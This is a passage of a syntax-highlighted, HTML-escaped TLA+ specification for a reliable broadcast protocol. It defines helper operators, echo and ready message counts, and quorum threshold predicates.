&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;106&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;recv_vars&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt; &lt;span class="err"&gt;⟨&lt;/span&gt;&lt;span class="n"&gt;rcvd_echo&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;rcvd_ready&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;rcvd_abort&lt;/span&gt;&lt;span class="err"&gt;⟩&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;107&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;vars&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt; &lt;span class="err"&gt;⟨&lt;/span&gt;&lt;span class="n"&gt;input&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sent_echo&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sent_ready&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sent_abort&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;108&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;rcvd_echo&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;rcvd_ready&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;rcvd_abort&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;delivered&lt;/span&gt;&lt;span class="err"&gt;⟩&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;109&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;110&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="o"&gt;============================================================================&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;111&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;Helper&lt;/span&gt; &lt;span class="n"&gt;Operators&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;112&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="o"&gt;============================================================================&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;113&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;Max&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt; &lt;span class="n"&gt;IF&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="err"&gt;≥&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="n"&gt;THEN&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="n"&gt;ELSE&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;114&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;SetMax&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;S&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt; &lt;span class="n"&gt;IF&lt;/span&gt; &lt;span class="n"&gt;S&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{}&lt;/span&gt; &lt;span class="n"&gt;THEN&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="n"&gt;ELSE&lt;/span&gt; &lt;span class="n"&gt;CHOOSE&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;S&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="err"&gt;∀&lt;/span&gt; &lt;span class="n"&gt;y&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;S&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="err"&gt;≥&lt;/span&gt; &lt;span class="n"&gt;y&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;115&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;116&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;Get&lt;/span&gt; &lt;span class="n"&gt;echo&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt; &lt;span class="n"&gt;from&lt;/span&gt; &lt;span class="n"&gt;sender&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="n"&gt;at&lt;/span&gt; &lt;span class="n"&gt;process&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;NULL&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;received&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;117&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;GetEcho&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt; &lt;span class="n"&gt;IF&lt;/span&gt; &lt;span class="err"&gt;∃&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;V&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="err"&gt;⟨&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="err"&gt;⟩&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;rcvd_echo&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;118&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;THEN&lt;/span&gt; &lt;span class="n"&gt;CHOOSE&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;V&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="err"&gt;⟨&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="err"&gt;⟩&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;rcvd_echo&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;119&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;ELSE&lt;/span&gt; &lt;span class="n"&gt;NULL&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;120&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;121&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;Get&lt;/span&gt; &lt;span class="n"&gt;ready&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt; &lt;span class="n"&gt;from&lt;/span&gt; &lt;span class="n"&gt;sender&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="n"&gt;at&lt;/span&gt; &lt;span class="n"&gt;process&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;NULL&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;received&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;122&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;GetReady&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt; &lt;span class="n"&gt;IF&lt;/span&gt; &lt;span class="err"&gt;∃&lt;/span&gt; &lt;span class="n"&gt;w&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;VExt&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="err"&gt;⟨&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;w&lt;/span&gt;&lt;span class="err"&gt;⟩&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;rcvd_ready&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;123&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;THEN&lt;/span&gt; &lt;span class="n"&gt;CHOOSE&lt;/span&gt; &lt;span class="n"&gt;w&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;VExt&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="err"&gt;⟨&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;w&lt;/span&gt;&lt;span class="err"&gt;⟩&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;rcvd_ready&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;124&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;ELSE&lt;/span&gt; &lt;span class="n"&gt;NULL&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;125&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;126&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;Who&lt;/span&gt; &lt;span class="n"&gt;has&lt;/span&gt; &lt;span class="n"&gt;sent&lt;/span&gt; &lt;span class="n"&gt;us&lt;/span&gt; &lt;span class="n"&gt;an&lt;/span&gt; &lt;span class="n"&gt;echo&lt;/span&gt;&lt;span class="err"&gt;?&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;127&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;EchoSenders&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;P&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="err"&gt;∃&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;V&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="err"&gt;⟨&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="err"&gt;⟩&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;rcvd_echo&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;]}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;128&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;129&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;Who&lt;/span&gt; &lt;span class="n"&gt;has&lt;/span&gt; &lt;span class="n"&gt;sent&lt;/span&gt; &lt;span class="n"&gt;us&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="n"&gt;ready&lt;/span&gt;&lt;span class="err"&gt;?&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;130&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;ReadySenders&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;P&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="err"&gt;∃&lt;/span&gt; &lt;span class="n"&gt;w&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;VExt&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="err"&gt;⟨&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;w&lt;/span&gt;&lt;span class="err"&gt;⟩&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;rcvd_ready&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;]}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;131&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;132&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;Counts&lt;/span&gt; &lt;span class="n"&gt;derived&lt;/span&gt; &lt;span class="n"&gt;from&lt;/span&gt; &lt;span class="n"&gt;set&lt;/span&gt; &lt;span class="n"&gt;cardinalities&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;133&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;EchoCount&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt; &lt;span class="n"&gt;Cardinality&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;P&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="err"&gt;⟨&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="err"&gt;⟩&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;rcvd_echo&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;]})&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;134&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;ReadyCount&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;w&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt; &lt;span class="n"&gt;Cardinality&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;P&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="err"&gt;⟨&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;w&lt;/span&gt;&lt;span class="err"&gt;⟩&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;rcvd_ready&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;]})&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;135&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;AbortCount&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt; &lt;span class="n"&gt;Cardinality&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rcvd_abort&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;136&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;TotalEchos&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt; &lt;span class="n"&gt;Cardinality&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;EchoSenders&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;137&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;TotalReadys&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt; &lt;span class="n"&gt;Cardinality&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ReadySenders&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;138&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;MaxEchoCount&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt; &lt;span class="n"&gt;SetMax&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;&lt;span class="n"&gt;EchoCount&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;V&lt;/span&gt;&lt;span class="p"&gt;})&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;139&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;MaxReadyCount&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt; &lt;span class="n"&gt;SetMax&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;&lt;span class="n"&gt;ReadyCount&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;V&lt;/span&gt;&lt;span class="p"&gt;})&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;140&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;141&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="o"&gt;============================================================================&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;142&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;Threshold&lt;/span&gt; &lt;span class="n"&gt;Predicates&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;143&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="o"&gt;============================================================================&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;144&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;RCAST&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;ECHO&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;QUORUM&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;145&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;EchoQuorum&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;t&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;V&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;EchoCount&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="err"&gt;≥&lt;/span&gt; &lt;span class="n"&gt;t&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;146&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;147&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;RCAST&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;READY&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;QUORUM&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;148&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;ReadyQuorum&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;t&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;V&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;ReadyCount&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="err"&gt;≥&lt;/span&gt; &lt;span class="n"&gt;t&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;149&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;150&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;RCAST&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;BOT&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;QUORUM&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;151&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;HasReadyBottomQuorum&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;t&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt; &lt;span class="n"&gt;ReadyCount&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Bottom&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="err"&gt;≥&lt;/span&gt; &lt;span class="n"&gt;t&lt;/span&gt;
